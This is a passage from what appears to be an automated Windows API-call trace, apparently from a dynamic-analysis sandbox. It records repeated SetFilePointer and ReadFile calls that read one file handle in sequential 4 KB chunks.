nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.437] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x7000 [0172.437] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.437] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x8000 [0172.438] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.438] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x9000 [0172.438] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.439] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0xa000 [0172.439] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.439] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0xb000 [0172.439] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.440] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0xc000 [0172.441] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.441] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0xd000 [0172.441] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.442] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0xe000 [0172.442] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.456] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0xf000 [0172.456] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.457] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x10000 [0172.457] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.457] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x11000 [0172.457] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.458] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x12000 [0172.458] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.459] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x13000 [0172.459] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.460] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x14000 [0172.460] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.460] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x15000 [0172.461] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.461] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x16000 [0172.461] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.462] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x17000 [0172.462] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.462] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x18000 [0172.462] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.463] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x19000 [0172.463] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.464] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x1a000 [0172.464] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.464] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x1b000 [0172.464] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.465] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x1c000 [0172.465] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.466] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x1d000 [0172.466] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.466] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x1e000 [0172.467] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.467] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x1f000 [0172.467] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.468] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x20000 [0172.468] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.468] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x21000 [0172.468] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.468] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x22000 [0172.469] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.469] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x23000 [0172.469] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.470] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x24000 [0172.470] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.471] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x25000 [0172.471] ReadFile (in: hFile=0x3dc, lpBuffer=0x27349c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x27349c0*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.593] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x26000 [0172.593] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.593] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x27000 [0172.594] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.594] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x28000 [0172.594] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.595] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x29000 [0172.595] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.596] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x2a000 [0172.596] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.596] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x2b000 [0172.596] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.600] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x2c000 [0172.600] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.601] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x2d000 [0172.602] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.602] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x2e000 [0172.602] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.604] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x2f000 [0172.605] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.605] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x30000 [0172.605] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.606] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x31000 [0172.606] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.607] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x32000 [0172.607] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.608] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x33000 [0172.608] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.608] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x34000 [0172.609] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.609] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x35000 [0172.609] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.610] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x36000 [0172.610] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.611] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x37000 [0172.611] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.611] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x38000 [0172.611] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.612] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x39000 [0172.612] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.613] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x3a000 [0172.613] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.613] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x3b000 [0172.613] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.614] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x3c000 [0172.614] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.614] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x3d000 [0172.614] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a8d4c4, lpOverlapped=0x0 | out: lpBuffer=0x2504a9c*, lpNumberOfBytesRead=0x5a8d4c4*=0x1000, lpOverlapped=0x0) returned 1 [0172.615] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a8d498*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a8d498*=0) returned 0x3e000 [0172.615] ReadFile (in: hFile=0x3dc, lpBuffer=0x2504a9c, nNumberOfBytesToRead=0x1000, 